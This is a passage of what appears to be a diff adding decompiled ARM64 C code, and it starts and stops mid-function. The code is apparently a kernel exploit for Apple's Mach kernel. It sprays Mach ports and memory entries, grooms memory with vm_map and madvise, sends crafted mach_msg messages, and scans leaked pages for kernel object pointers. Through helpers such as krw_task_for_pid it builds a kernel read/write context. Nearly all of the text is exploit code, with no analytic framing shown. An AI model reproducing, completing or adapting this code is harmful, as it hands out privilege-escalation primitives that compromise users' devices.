) + { + v19 = *(_DWORD *)&v38[j]; + if ( v19 + 1 >= 2 ) + { + mach_port_mod_refs(v15, v19, 1u, -1); + *(_DWORD *)&v38[j] = 0; + } + } + if ( v36 && v37 ) + { + vm_deallocate(v15, v36, v37); + v36 = 0; + v37 = 0; + } + if ( v34 && v35 ) + { + vm_deallocate(v15, v34, v35); + v34 = 0; + v35 = 0; + } + if ( name + 1 >= 2 ) + { + mach_port_deallocate(v15, name); + name = 0; + } + if ( v39 + 1 >= 2 ) + { + mach_port_deallocate(v15, v39); + v39 = 0; + } + v20 = v32; + if ( v32 ) + { + v21 = v33; + if ( v33 ) + { + v22 = 0; + do + { + v23 = v20[v22]; + if ( v23 + 1 >= 2 ) + { + mach_port_deallocate(v15, v23); + v20 = v32; + *((_DWORD *)v32 + v22) = 0; + v21 = v33; + } + ++v22; + } + while ( v22 < v21 ); + } + free(v20); + } + return v11; +} +// CB98: variables would overlap: w1.4 and x1.8 +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); +// 48940: using guessed type __int64 __fastcall __chkstk_darwin(_QWORD, _QWORD); + +//----- (000000000000CE78) ---------------------------------------------------- +__int64 __fastcall sub_CE78(uint64_t x0, uint64_t x1_idk, uint32_t w2, uint64_t x3) +{ + return sub_CB98(x0, 3u, x3); +} + +//----- (000000000000CE84) ---------------------------------------------------- +__int64 __fastcall sub_CE84(uint64_t *a1) +{ + *(_DWORD *)a1 = sub_CEB8(a1[2], a1[1]); + return 0; +} + +//----- (000000000000CEB8) ---------------------------------------------------- +__int64 __fastcall sub_CEB8(uint64_t x0, uint64_t x1) +{ + __int64 v2; // x0 + __int64 v3; // x1 + __int64 v4; // x20 + __int64 v5; // x19 + __int64 v6; // x27 + unsigned __int64 v7; // x0 + kern_return_t memory_entry; // w0 + vm_size_t v9; // x21 + __int64 v10; // x22 + __int64 i; // x21 + mach_port_name_t v13; // w0 + void *v14; // x0 + size_t v15; // x21 + void *v16; // x0 + int v17; // w8 + unsigned __int64 v18; // x21 + int v19; // w2 + __int64 j; // x21 + mach_msg_bits_t msgh_bits; // w1 + unsigned __int64 v22; // x8 + __int64 v23; // x0 + __int64 v24; // x23 + pid_t v25; // w0 + __int64 addr_v24; // x24 + __int64 v27; // x8 + __int64 v28; // x8 + __int64 v29; // x9 + __int64 v30; // x21 + int v31; // w0 + __int64 v32; // x0 + void *v33; // x24 + __int64 v34; // x8 + _QWORD *v35; // x21 + __int64 v36; // x8 + unsigned int v37; // w9 + _DWORD *v38; // x10 + __int64 v39; // x11 + mach_port_t v40; // w9 + vm_prot_t v41; // w3 + unsigned int v42; // w8 + __int64 v43; // x24 + int8x8_t *v44; // x13 + int8x8_t *v45; // x14 + int8x8_t v46; // x9 + __int64 v47; // x15 + _QWORD *v48; // x25 + __int64 v49; // x8 + unsigned int v50; // w23 + CFMutableDictionaryRef v51; // x22 + char *v52; // x21 + unsigned int v53; // w8 + bool v54; // zf + __int64 v55; // x22 + uint8x8_t v56; // d0 + __int64 v57; // x23 + kern_return_t v58; // w0 + int v59; // w22 + __int64 k; // x21 + vm_address_t v61; // x1 + unsigned __int64 v62; // x24 + int8x8_t *v63; // x21 + int8x8_t *v64; // x21 + int8x8_t v65; // t1 + int8x8_t *v66; // x9 + unsigned int v67; // w8 + uint8x8_t v68; // d0 + int v69; // w8 + int v70; // w0 + __int64 v71; // x0 + unsigned int v72; // w25 + char v73; // w22 + __int64 v74; // x8 + __int64 v75; // x8 + unsigned int v76; // w8 + mach_port_t v77; // w8 + mach_msg_return_t v78; // w0 + __int64 v79; // x9 + __int64 v80; // x11 + vm_size_t v81; // x12 + vm_size_t v82; // x13 + int8x8_t v83; // x10 + __int64 v84; // x14 + _QWORD *v85; // x15 + unsigned int v86; // w16 + unsigned int m; // w17 + __int64 *v88; // x0 + __int64 v89; // x1 + vm_size_t v90; // x2 + char *v91; // x3 + uint8x8_t v92; // d0 + unsigned int v93; // w0 + __int64 v94; // x0 + __int64 v95; // x8 + mach_port_name_t v96; // w4 + mach_msg_return_t v97; // w0 + unsigned int v98; // w25 + vm_address_t v99; // x22 + vm_size_t msgh_voucher_port; // x21 + vm_address_t v101; // x8 + char v102; // w8 + unsigned int v103; // w8 + unsigned __int64 v104; // x21 + __int64 v105; // x9 + mach_port_name_t v106; // w1 + __int64 v107; // x21 + mach_port_name_t v108; // w1 + __int64 v109; // x0 + mach_port_t v110; // w0 + unsigned __int64 ipc_port; // x0 + __int64 v112; // x8 + __int64 v113; // x25 + __int64 v114; // x21 + __int64 v115; // x0 + __int64 v116; // x1 + __int64 v117; // x8 + _BOOL4 v118; // w0 + unsigned __int64 v120; // x8 + _QWORD *v121; // x8 + unsigned __int64 v122; // x1 + unsigned int v123; // w8 + __int64 v124; // x21 + __int64 v125; // x24 + mach_port_name_t v126; // w22 + unsigned __int64 v127; // x0 + __int64 v128; // x0 + unsigned __int64 v129; // x23 + __int64 v130; // x23 + __int64 v131; // x24 + __int64 v132; // x8 + unsigned int v133; // w1 + __int64 v134; // x0 + unsigned __int64 v135; // x22 + unsigned __int64 v136; // x0 + __int64 v137; // x0 + unsigned __int64 v138; // x22 + kern_return_t v139; // w0 + __int64 ii; // x21 + vm_address_t v141; // x1 + __int64 jj; // x21 + vm_address_t v143; // x1 + __int64 v144; // x8 + char v145; // w9 + char v146; // w21 + __int64 v147; // x25 + vm_address_t v148; // x1 + kern_return_t v149; // w0 + _BOOL4 has_flag; // w22 + __int64 v151; // x8 + char *v152; // x1 + __int64 v153; // x22 + unsigned __int64 v154; // x0 + unsigned __int64 v155; // x0 + unsigned __int64 v156; // x21 + __int64 v157; // x25 + __int64 v158; // x8 + _BOOL4 v159; // w22 + __int64 v160; // x8 + unsigned __int64 v161; // x0 + __int64 v162; // x25 + __int64 v163; // x8 + __int64 v164; // x9 + _BOOL4 v165; // w0 + unsigned __int64 v166; // x0 + __int64 v167; // x8 + unsigned __int64 v168; // x0 + __int64 v169; // x8 + __int64 v170; // x8 + unsigned __int64 v171; // x9 + unsigned __int64 v172; // x8 + __int64 v173; // x0 + vm_size_t v174; // x23 + unsigned __int64 v175; // x0 + __int64 v176; // x24 + unsigned __int64 v177; // x0 + unsigned __int64 v178; // x21 + unsigned __int64 v179; // x0 + unsigned __int64 v180; // x25 + __int64 v181; // x25 + vm_address_t v182; // x1 + __int64 v183; // x8 + __int64 v184; // x8 + __int64 v185; // x8 + io_service_t v186; // w0 + io_service_t v187; // w24 + mach_port_t v188; // w21 + __int64 n; // x25 + io_connect_t v190; // w0 + int v192; // w8 + const void **v193; // x0 + const void *v194; // x22 + const void **v195; // x0 + const void *v196; // x23 + const void **v197; // x0 + const void *v198; // x24 + const __CFData *v199; // x0 + const __CFData *v200; // x24 + int v201; // w8 + uint32_t v202; // w25 + mem_entry_name_port_t *v203; // x23 + const UInt8 *BytePtr; // x22 + size_t Length; // x0 + mach_msg_bits_t v206; // w9 + __int64 v207; // x10 + unsigned __int64 v208; // x23 + int v209; // w0 + __int64 v210; // x24 + int v211; // w0 + unsigned __int64 v212; // x25 + vm_address_t v213; // x24 + vm_address_t v214; // x8 + __int64 v215; // x21 + unsigned __int64 v216; // x0 + unsigned int v217; // w8 + unsigned __int64 v218; // x21 + __int64 v219; // x23 + mach_port_name_t v220; // w1 + unsigned int v221; // w8 + unsigned __int64 v222; // x21 + __int64 v223; // x23 + vm_address_t v224; // x1 + unsigned __int64 v225; // x8 + bool v226; // cc + int pipe; // w20 + unsigned int v228; // w0 + unsigned int v229; // w24 + unsigned int v230; // w0 + int v231; // w22 + int v232; // w23 + int v233; // w0 + int v234; // w0 + unsigned int v235; // w0 + unsigned __int64 v236; // x0 + __int64 v237; // x22 + int v238; // w1 + integer_t v239; // w10 + mem_entry_name_port_t v240; // w9 + mem_entry_name_port_t v241; // w8 + int v242; // w20 + int v243; // w8 + int v244; // w20 + int v245; // w8 + size_t v246; // x21 + mach_msg_bits_t v247; // w1 + mach_msg_size_t msgh_size; // w9 + __int64 v249; // x8 + __int64 v250; // x8 + unsigned __int64 v251; // x20 + unsigned __int64 v252; // x24 + unsigned __int64 v253; // x26 + int v254; // w25 + _BOOL4 v255; // w0 + vm_address_t v256; // x8 + bool v257; // cf + int v258; // w8 + mach_port_t *v259; // [xsp+30h] [xbp-1120h] + unsigned int *v260; // [xsp+40h] [xbp-1110h] + __int64 v261; // [xsp+48h] [xbp-1108h] + __int64 v262; // [xsp+50h] [xbp-1100h] + unsigned __int64 v263; // [xsp+50h] [xbp-1100h] + __int64 v264; // [xsp+58h] [xbp-10F8h] + __int64 v265; // [xsp+58h] [xbp-10F8h] + __int64 v266; // [xsp+60h] [xbp-10F0h] + __int64 v267; // [xsp+60h] [xbp-10F0h] + __int64 v268; // [xsp+68h] [xbp-10E8h] + __int64 v269; // [xsp+68h] [xbp-10E8h] + unsigned __int64 v270; // [xsp+68h] [xbp-10E8h] + mach_port_name_t v271[2]; // [xsp+70h] [xbp-10E0h] + mach_port_name_t v272; // [xsp+70h] [xbp-10E0h] + __int64 v273; // [xsp+70h] [xbp-10E0h] + void *value; // [xsp+78h] [xbp-10D8h] + unsigned __int64 valuea; // [xsp+78h] [xbp-10D8h] + int v276; // [xsp+80h] [xbp-10D0h] + unsigned __int64 v277; // [xsp+80h] [xbp-10D0h] + int v278; // [xsp+80h] [xbp-10D0h] + int v279; // [xsp+80h] [xbp-10D0h] + vm_size_t v280; // [xsp+88h] [xbp-10C8h] + unsigned int *v281; // [xsp+90h] [xbp-10C0h] + __int64 v282; // [xsp+90h] [xbp-10C0h] + __int64 v283; // [xsp+90h] [xbp-10C0h] + unsigned __int64 v284; // [xsp+90h] [xbp-10C0h] + __int64 v285; // [xsp+90h] [xbp-10C0h] + CFMutableDictionaryRef theDict; // [xsp+98h] [xbp-10B8h] + CFMutableDictionaryRef theDicta; // [xsp+98h] [xbp-10B8h] + CFMutableDictionaryRef theDictb; // [xsp+98h] [xbp-10B8h] + CFMutableDictionaryRef theDictc; // [xsp+98h] [xbp-10B8h] + CFMutableDictionaryRef theDictd; // [xsp+98h] [xbp-10B8h] + CFDictionaryRef *theDicte; // [xsp+98h] [xbp-10B8h] + unsigned __int64 kobject; // [xsp+A0h] [xbp-10B0h] + unsigned __int64 v293; // [xsp+A0h] [xbp-10B0h] + int8x8_t *v294; // [xsp+A8h] [xbp-10A8h] + vm_size_t v295; // [xsp+A8h] [xbp-10A8h] + vm_size_t v296; // [xsp+A8h] [xbp-10A8h] + vm_size_t v297; // [xsp+A8h] [xbp-10A8h] + int8x8_t *__handle; // [xsp+B0h] [xbp-10A0h] + _DWORD *__handlea; // [xsp+B0h] [xbp-10A0h] + char *__handleb; // [xsp+B0h] [xbp-10A0h] + unsigned __int64 __handlec; // [xsp+B0h] [xbp-10A0h] + void *__handled; // [xsp+B0h] [xbp-10A0h] + unsigned __int64 __handlee; // [xsp+B0h] [xbp-10A0h] + char *v304; // [xsp+B8h] [xbp-1098h] + unsigned int v305; // [xsp+B8h] [xbp-1098h] + vm_size_t size; // [xsp+C0h] [xbp-1090h] BYREF + mem_entry_name_port_t object_handle; // [xsp+CCh] [xbp-1084h] BYREF + integer_t port_info; // [xsp+D0h] [xbp-1080h] BYREF + vm_address_t address; // [xsp+D8h] [xbp-1078h] BYREF + mach_msg_header_t name; // [xsp+E0h] [xbp-1070h] BYREF + unsigned __int64 v311; // [xsp+100h] [xbp-1050h] + vm_address_t v312; // [xsp+110h] [xbp-1040h] BYREF + unsigned __int64 v313; // [xsp+118h] [xbp-1038h] BYREF + int v314; // [xsp+124h] [xbp-102Ch] BYREF + __int64 v315; // [xsp+128h] [xbp-1028h] BYREF + __int64 v316; // [xsp+130h] [xbp-1020h] BYREF + __int64 v317; // [xsp+138h] [xbp-1018h] BYREF + size_t outputStructCnt; // [xsp+140h] [xbp-1010h] BYREF + mem_entry_name_port_t v319[2]; // [xsp+148h] [xbp-1008h] BYREF + integer_t a1[4]; // [xsp+150h] [xbp-1000h] BYREF + __int128 v321; // [xsp+160h] [xbp-FF0h] + mach_msg_header_t outputStruct[2]; // [xsp+170h] [xbp-FE0h] BYREF + __int128 v323; // [xsp+1A0h] [xbp-FB0h] + __int128 v324; // [xsp+1B0h] [xbp-FA0h] + __int128 v325; // [xsp+1C0h] [xbp-F90h] + __int128 v326; // [xsp+1D0h] [xbp-F80h] + __int128 v327; // [xsp+1E0h] [xbp-F70h] + __int128 v328; // [xsp+1F0h] [xbp-F60h] + __int128 v329; // [xsp+200h] [xbp-F50h] + __int128 v330; // [xsp+210h] [xbp-F40h] + __int128 v331; // [xsp+220h] [xbp-F30h] + __int128 v332; // [xsp+230h] [xbp-F20h] + __int128 v333; // [xsp+240h] [xbp-F10h] + __int128 v334; // [xsp+250h] [xbp-F00h] + __int128 v335; // [xsp+260h] [xbp-EF0h] + + v2 = __chkstk_darwin(x0, x1); + v4 = v3; + v5 = v2; + v6 = 708625; + address = 0; + object_handle = 0; + size = vm_page_size; + v7 = sub_1F0F4(); + *(_QWORD *)(v4 + 8) = v7; + *(_QWORD *)(v4 + 0x34E8) = 0x10000000800LL; + if ( v7 > 0x400000000LL ) + return 708616; + memory_entry = vm_allocate(mach_task_self_, &address, 0x2000u, 1); + if ( memory_entry ) + return memory_entry | 0x80000000; + *(_QWORD *)(v4 + 13464) = address; + *(_QWORD *)(v4 + 13472) = 0x2000; + *(_QWORD *)&outputStruct[0].msgh_bits = 0; + v9 = vm_page_size; + memory_entry = vm_map( + mach_task_self_, + (vm_address_t *)&outputStruct[0].msgh_bits, + 129 * vm_page_size, + 0x1FFFFFFu, + -922746879, + 0, + 0, + 0, + 3, + 3, + 1u); + if ( memory_entry ) + return memory_entry | 0x80000000; + *(_QWORD *)(v4 + 13448) = *(_QWORD *)&outputStruct[0].msgh_bits; + *(_QWORD *)(v4 + 13456) = vm_page_size + (v9 << 7); + for ( i = 3370; i != 3386; ++i ) + { + v13 = mach_reply_port(); + if ( v13 + 1 < 2 ) + return 4097; + *(_DWORD *)(v4 + 4 * i) = v13; + port_info = 1024; + memory_entry = mach_port_set_attributes(mach_task_self_, v13, 1, &port_info, 1u); + if ( memory_entry ) + return memory_entry | 0x80000000; + } + memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0); + if ( memory_entry ) + return memory_entry | 0x80000000; + *(_DWORD *)(v4 + 13424) = object_handle; + v14 = calloc(0x200000u, 4u); + if ( !v14 ) + return 708617; + *(_QWORD *)(v4 + 13432) = v14; + *(_DWORD *)(v4 + 13440) = 0x200000; + *(_QWORD *)&outputStruct[0].msgh_bits = 0; + v15 = vm_page_size << 9; + memory_entry = vm_allocate(mach_task_self_, (vm_address_t *)&outputStruct[0].msgh_bits, vm_page_size << 9, -872415231); + if ( memory_entry ) + return memory_entry | 0x80000000; + v16 = *(void **)&outputStruct[0].msgh_bits; + *(_QWORD *)(v4 + 11296) = *(_QWORD *)&outputStruct[0].msgh_bits; + *(_QWORD *)(v4 + 11304) = v15; + if ( madvise(v16, v15, 3) ) + { +LABEL_15: + v17 = *__error(); + if ( v17 < 0 ) + v17 = -v17; + return v17 | 0x40000000u; + } + v18 = -2; + do + { + v18 += 2LL; + if ( (v18 & 2) != 0 ) + v19 = 1; + else + v19 = 2; + if ( madvise((void *)(*(_QWORD *)&outputStruct[0].msgh_bits + vm_page_size * v18), 2 * vm_page_size, v19) ) + goto LABEL_15; + } + while ( v18 < 0x1FE ); + for ( j = 2832; j != 3088; ++j ) + { + name.msgh_bits = 0; + memory_entry = mach_port_allocate(mach_task_self_, 1u, &name.msgh_bits); + if ( memory_entry ) + return memory_entry | 0x80000000; + msgh_bits = name.msgh_bits; + *(_DWORD *)(v4 + 4 * j) = name.msgh_bits; + a1[0] = 1024; + memory_entry = mach_port_set_attributes(mach_task_self_, msgh_bits, 1, a1, 1u); + if ( memory_entry ) + return memory_entry | 0x80000000; + } + v260 = (unsigned int *)(v4 + 17988); + v22 = *(_QWORD *)(v5 + 344); + if ( v22 > 0x27120F04B00002LL ) + { + if ( (*(_BYTE *)v5 & 0x20) != 0 ) + { + v10 = sub_A614((struct_krwCtx *)v5); + if ( (_DWORD)v10 ) + return v10; + v23 = sub_B73C(v5); + if ( v23 ) + { + v24 = v23; + v25 = getpid(); + addr_v24 = krw_task_for_pid_0(v5, v24, v25); + *(_QWORD *)(v4 + 11280) = addr_v24; + goto LABEL_207; + } + return 163878; + } + goto LABEL_36; + } + if ( v22 > 0x27120080CFFFFFLL || v22 >= 0x225C23801AF00ELL && *(int *)(v5 + 320) < 10002 ) + { +LABEL_36: + theDict = (CFMutableDictionaryRef)(&stru_68 + 68); + v262 = 184; + v27 = 88; + goto LABEL_40; + } + theDict = (CFMutableDictionaryRef)(&stru_68 + 60); + v262 = 176; + v27 = 80; +LABEL_40: + *(_QWORD *)v271 = v27; + arc4random_buf((void *)(v4 + 13584), 8u); + arc4random_buf((void *)(v4 + 13592), 8u); + v28 = *(_QWORD *)(v4 + 13448); + v10 = 708609; + if ( !v28 ) + return v10; + v29 = *(_QWORD *)(v4 + 13456); + if ( !v29 ) + return 708609; + madvise((void *)(v29 + v28 - vm_page_size), vm_page_size, 3); + if ( krw_ctx_has_flag((struct_krwCtx *)v5, 85475329) && !krw_ctx_has_flag((struct_krwCtx *)v5, 32) ) + { + v57 = 0; + v334 = 0u; + v335 = 0u; + v332 = 0u; + v333 = 0u; + v330 = 0u; + v331 = 0u; + v328 = 0u; + v329 = 0u; + v326 = 0u; + v327 = 0u; + v324 = 0u; + v325 = 0u; + v323 = 0u; + memset(outputStruct, 0, sizeof(outputStruct)); + while ( 1 ) + { + v58 = vm_map( + mach_task_self_, + (vm_address_t *)((char *)&outputStruct[0].msgh_bits + v57), + 0x2000000u, + 0x1FFFFFFu, + -939524087, + 0, + 0, + 0, + 3, + 3, + 1u); + if ( v58 != 3 ) + { + v59 = v58; + if ( v58 ) + goto LABEL_110; + if ( madvise(*(void **)((char *)&outputStruct[0].msgh_bits + v57), vm_page_size, 3) ) + break; + } + v57 += 8; + if ( v57 == 256 ) + { + v59 = 0; + goto LABEL_110; + } + } + v59 = 5; +LABEL_110: + for ( k = 0; k != 256; k += 8 ) + { + v61 = *(_QWORD *)((char *)&outputStruct[0].msgh_bits + k); + if ( v61 ) + { + vm_deallocate(mach_task_self_, v61, 0x2000000u); + *(_QWORD *)((char *)&outputStruct[0].msgh_bits + k) = 0; + } + } + if ( v59 ) + return v59 | 0x80000000; + } + v30 = 0; + v268 = 0; + v304 = 0; + v24 = 688; + while ( 1 ) + { + sub_1F190(); + if ( *(_DWORD *)v4 != 3 ) + { + v31 = 4; +LABEL_50: + v10 = v31 | 0x80000000; + goto LABEL_51; + } + v31 = sub_BED0(v5, v4, 0x10u, v4 + 688 * v30 + 16); + if ( v31 ) + goto LABEL_50; + sub_1F190(); + v294 = (int8x8_t *)(v4 + 688 * v30 + 16); + v32 = sub_FAE4((_QWORD *)v4, v294); + if ( !(_DWORD)v32 ) + break; + v10 = v32; +LABEL_51: + if ( ++v30 == 16 ) + goto LABEL_205; + } + v261 = v30; + sub_1F190(); + if ( !*(_DWORD *)(v4 + 13440) ) + { + sub_1F190(); +LABEL_100: + v10 = 708620; + goto LABEL_101; + } + v33 = 0; + v264 = *(_QWORD *)(v4 + 13432); + v266 = *(unsigned int *)(v4 + 13544); + v259 = (mach_port_t *)(v4 + 4 * v30 + 13480); + v34 = v4 + 688 * v30; + v281 = (unsigned int *)(v34 + 48); + v276 = -(int)v266; + v10 = 708620; + v35 = (_QWORD *)(v4 + 13592); + kobject = v34 + 40; + do + { + a1[0] = 0; + *(_QWORD *)&name.msgh_bits = vm_page_size; + if ( v33 && !((unsigned int)v33 % (unsigned int)v266) ) + { + v36 = *(_QWORD *)(v4 + 13464); + if ( (_DWORD)v266 ) + { + v37 = v276; + v38 = *(_DWORD **)(v4 + 13464); + v39 = v266; + do + { + *v38++ = *(_DWORD *)(v264 + 4LL * v37); + *(_DWORD *)(v264 + 4LL * v37++) = 0; + --v39; + } + while ( v39 ); + } + *(_QWORD *)&outputStruct[0].msgh_bits = 0x2C80001514LL; + v40 = *v259; + *(_OWORD *)&outputStruct[0].msgh_local_port = xmmword_42EC0; + *(_QWORD *)&outputStruct[1].msgh_size = v36; + outputStruct[1].msgh_voucher_port = v266; + outputStruct[0].msgh_remote_port = v40; + outputStruct[1].msgh_local_port = 34668544; + if ( mach_msg(outputStruct, 262161, 0x2Cu, 0, 0, 0, 0) ) + break; + } + v41 = v304 ? 67248131 : 67239939; + if ( mach_make_memory_entry(mach_task_self_, (vm_size_t *)&name.msgh_bits, 0, v41, (mem_entry_name_port_t *)a1, 0) ) + break; + value = v33; + *(_DWORD *)(v264 + 4LL * (_QWORD)v33) = a1[0]; + v42 = *v281; + if ( !*v281 ) + goto LABEL_92; + v43 = 0; + v45 = (int8x8_t *)kobject; + v44 = v294; + v46 = *(int8x8_t *)kobject; + while ( 1 ) + { + v47 = 1LL << v43; + if ( ((1LL << v43) & *(_QWORD *)&v46) != 0 ) + goto LABEL_89; + v48 = (_QWORD *)(*(_QWORD *)v44 + vm_page_size * v43); + if ( *v48 == *v35 ) + goto LABEL_89; + if ( vm_page_size ) + break; +LABEL_88: + *(_QWORD *)&v46 |= v47; + *v45 = v46; + v10 = 708625; +LABEL_89: + if ( ++v43 >= (unsigned __int64)v42 ) + goto LABEL_93; + } + v49 = 0; + v50 = 0; + v51 = theDict; + while ( 1 ) + { + v52 = (char *)v48 + v49; + v53 = *(_DWORD *)((char *)v48 + v49 + 40); + if ( v53 > 0x80 ) + { +LABEL_87: + v46 = *v45; + v35 = (_QWORD *)(v4 + 13592); + v42 = *v281; + goto LABEL_88; + } + if ( *(_DWORD *)v52 && *(_DWORD *)v52 == *((_DWORD *)v52 + 1) ) + { + v54 = *((unsigned __int8 *)v51 + (_QWORD)v52) != 128 && v53 == 1; + if ( v54 && *((_QWORD *)v52 + 3) == *(_QWORD *)&name.msgh_bits ) + break; + } +LABEL_86: + v50 += *(_DWORD *)(v4 + 13548); + v49 = v50; + if ( vm_page_size <= v50 ) + goto LABEL_87; + } + if ( v304 ) + { + v268 = *(_QWORD *)&v52[*(_QWORD *)v271]; + if ( validate_addr(v5, v268) ) + { + v10 = 0; + *(_QWORD *)kobject |= 1LL << v43; + break; + } + goto LABEL_85; + } + v55 = *(_QWORD *)&v52[v262]; + if ( !validate_addr(v5, v55) ) + { + v304 = 0; + v51 = theDict; +LABEL_85: + v45 = (int8x8_t *)kobject; + v44 = v294; + v47 = 1LL << v43; + goto LABEL_86; + } + *(_DWORD *)(v264 + 4LL * (_QWORD)value) = 0; + *(_DWORD *)(v4 + 13552) = a1[0]; + *(_QWORD *)(v4 + 13560) = v55 - v262; + v42 = *v281; + v10 = 708625; + v304 = v52; + v35 = (_QWORD *)(v4 + 13592); +LABEL_92: + v45 = (int8x8_t *)kobject; +LABEL_93: + v56 = (uint8x8_t)vcnt_s8(*v45); + v56.i16[0] = vaddlv_u8(v56); + if ( v42 == v56.i32[0] ) + break; + v33 = (char *)value + 1; + ++v276; + } + while ( (unsigned __int64)value + 1 < *(unsigned int *)(v4 + 13440) ); + sub_1F190(); + if ( (_DWORD)v10 == 708620 ) + goto LABEL_100; + if ( (_DWORD)v10 == 708625 ) + { +LABEL_101: + v30 = v261; + v24 = 688; + goto LABEL_51; + } + *(_QWORD *)(v4 + 11280) = v268; + if ( !validate_addr(v5, v268) ) + return 163878; + v62 = (unsigned int)v261; + while ( 2 ) + { + v63 = (int8x8_t *)(v4 + 688 * v62); + v65 = v63[2]; + v64 = v63 + 2; + if ( !*(_QWORD *)&v65 || !*(_QWORD *)(v4 + 688 * v62 + 24) ) + { + sub_1F190(); + if ( *(_DWORD *)v4 == 3 ) + { + v70 = sub_BED0(v5, v4, 0x10u, (__int64)v64); + if ( !v70 ) + { + sub_1F190(); + v71 = sub_FAE4((_QWORD *)v4, v64); + if ( !(_DWORD)v71 ) + { + sub_1F190(); + v67 = *(_DWORD *)(v4 + 688 * v62 + 48); + goto LABEL_134; + } + v10 = v71; +LABEL_128: + v69 = 41; + goto LABEL_129; + } + } + else + { + v70 = 4; + } + v10 = v70 | 0x80000000; + goto LABEL_128; + } + v66 = (int8x8_t *)(v4 + 688 * v62); + v67 = v66[6].u32[0]; + v68 = (uint8x8_t)vcnt_s8(v66[5]); + v68.i16[0] = vaddlv_u8(v68); + if ( v67 == v68.i32[0] ) + { + v69 = 41; + v10 = 708625; + goto LABEL_129; + } +LABEL_134: + if ( v67 <= 0x40 ) + { + if ( *(_QWORD *)(v5 + 344) >> 43 < 0x44Bu ) + v72 = 0; + else + v72 = *(_DWORD *)(v5 + 384) % 0x50u; + v282 = *(_QWORD *)(v4 + 11304) + *(_QWORD *)(v4 + 11296); + theDicta = *(CFMutableDictionaryRef *)(v4 + 11296); + v73 = vm_page_shift; + kobject = v4 + 688 * v62 + 48; + __handle = (int8x8_t *)(v4 + 688 * v62 + 40); + LODWORD(v74) = *(_DWORD *)(v4 + 12352); + do + { + if ( (unsigned int)v74 > 0xFF ) + { +LABEL_195: + v10 = 708620; + goto LABEL_196; + } + v75 = (unsigned int)v74 + 3089LL; + while ( *(_DWORD *)(v4 + 4 * v75) >= 0x400u ) + { + if ( (_DWORD)++v75 == 3345 ) + goto LABEL_195; + } + v76 = v75 - 3089; + *(_DWORD *)(v4 + 12352) = v76; + *(_QWORD *)&outputStruct[0].msgh_bits = 0x2C80000014LL; + v77 = *(_DWORD *)(v4 + 11296 + 4LL * v76 + 32); + *(_OWORD *)&outputStruct[0].msgh_local_port = xmmword_42EC0; + outputStruct[1].msgh_voucher_port = *(_QWORD *)(v4 + 11304); + *(_QWORD *)&outputStruct[1].msgh_size = *(_QWORD *)(v4 + 11296); + outputStruct[0].msgh_remote_port = v77; + outputStruct[1].msgh_local_port = 16777472; + v78 = mach_msg(outputStruct, 262161, 0x2Cu, 0, 0, 0, 0); + if ( v78 ) + { + v10 = v78 | 0x80000000; + goto LABEL_196; + } + v74 = *(unsigned int *)(v4 + 12352); + ++*(_DWORD *)(v4 + 4 * v74 + 12356); + v79 = *(unsigned int *)kobject; + if ( (_DWORD)v79 ) + { + v80 = 0; + v81 = (vm_size_t)theDicta + 4 * vm_page_size; + v82 = v282 - 4 * vm_page_size; + v83 = *__handle; + do + { + v84 = 1LL << v80; + if ( ((1LL << v80) & *(_QWORD *)&v83) == 0 ) + { + v85 = (_QWORD *)(*(_QWORD *)v64 + (unsigned int)((_DWORD)v80 << v73)); + if ( *v85 != *(_QWORD *)(v4 + 13592) ) + { + v86 = *(_DWORD *)(v5 + 384); + if ( v72 < v86 ) + { + for ( m = v72; m < v86; m += 80 ) + { + v88 = (_QWORD *)((char *)v85 + m); + v89 = *v88; + if ( (unsigned __int64)(*v88 - 1) < 0xFFFEFFFFFFFFFFFFLL ) + break; + if ( (v88[8] & 0xFFF) == 0xCC ) + { + v90 = v88[2]; + if ( v90 > v81 && v88[3] <= v82 ) + { + v91 = (char *)v85 + (*(_QWORD *)(v5 + 392) & v89); + if ( *((_QWORD *)v91 + 3) == v90 ) + { + *(_QWORD *)(v4 + 13408) = v89; + *(_QWORD *)(v4 + 13392) = *((_QWORD *)v91 + 1); + *(_QWORD *)(v4 + 13384) = v88; + *(_QWORD *)(v4 + 13400) = v91; + *__handle = (int8x8_t)(v84 | *(_QWORD *)&v83); + v94 = sub_FD18((_DWORD *)v4, (__int64)v64); + if ( (_DWORD)v94 ) + { + v10 = v94; + goto LABEL_196; + } + v283 = *(unsigned int *)(v4 + 12352); + if ( (v283 & 0x80000000) != 0 ) + { +LABEL_184: + v98 = 0; +LABEL_188: + v102 = 1; + } + else + { + theDictb = *(CFMutableDictionaryRef *)(v4 + 13384); + while ( 1 ) + { + v95 = v4 + 4 * v283; + if ( *(_DWORD *)(v95 + 12356) ) + break; +LABEL_182: + v226 = v283-- <= 0; + if ( v226 ) + goto LABEL_184; + } + __handlea = (_DWORD *)(v95 + 12356); + kobject = v95 + 11328; + while ( 1 ) + { + v96 = *(_DWORD *)kobject; + LODWORD(v323) = 0; + memset(outputStruct, 0, sizeof(outputStruct)); + v97 = mach_msg(outputStruct, 2, 0, 0x34u, v96, 0, 0); + if ( v97 ) + { + v98 = v97 | 0x80000000; + goto LABEL_188; + } + v98 = 163885; + if ( (outputStruct[0].msgh_bits & 0x80000000) == 0 ) + goto LABEL_187; + if ( outputStruct[1].msgh_bits != 1 ) + goto LABEL_187; + v98 = 163886; + if ( HIBYTE(outputStruct[1].msgh_local_port) != 1 ) + goto LABEL_187; + v99 = *(_QWORD *)&outputStruct[1].msgh_size; + if ( !*(_QWORD *)&outputStruct[1].msgh_size ) + goto LABEL_187; + msgh_voucher_port = outputStruct[1].msgh_voucher_port; + if ( !outputStruct[1].msgh_voucher_port ) + { + v98 = 163886; +LABEL_187: + mach_msg_destroy(outputStruct); + goto LABEL_188; + } + *(_QWORD *)&outputStruct[1].msgh_size = 0; + outputStruct[1].msgh_voucher_port = 0; + mach_msg_destroy(outputStruct); + v101 = *((_QWORD *)theDictb + 2); + --*__handlea; + if ( v101 >= v99 && v101 < msgh_voucher_port + v99 ) + break; + vm_deallocate(mach_task_self_, v99, msgh_voucher_port); + if ( !*__handlea ) + goto LABEL_182; + } + v102 = 0; + v98 = 0; + *(_QWORD *)(v4 + 11312) = v99; + *(_QWORD *)(v4 + 11320) = msgh_voucher_port; + } + if ( ((unsigned __int8)v102 & (v98 == 0)) != 0 ) + v10 = 708625; + else + v10 = v98; + if ( (_DWORD)v10 != 708625 ) + { + if ( !(_DWORD)v10 ) + *(_QWORD *)(v4 + 11288) = v304; + goto LABEL_196; + } + goto LABEL_128; + } + } + } + } + } + *(_QWORD 